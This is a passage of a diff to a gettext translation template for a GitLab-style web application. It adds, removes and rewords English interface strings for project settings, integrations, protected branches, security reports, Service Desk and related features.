-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
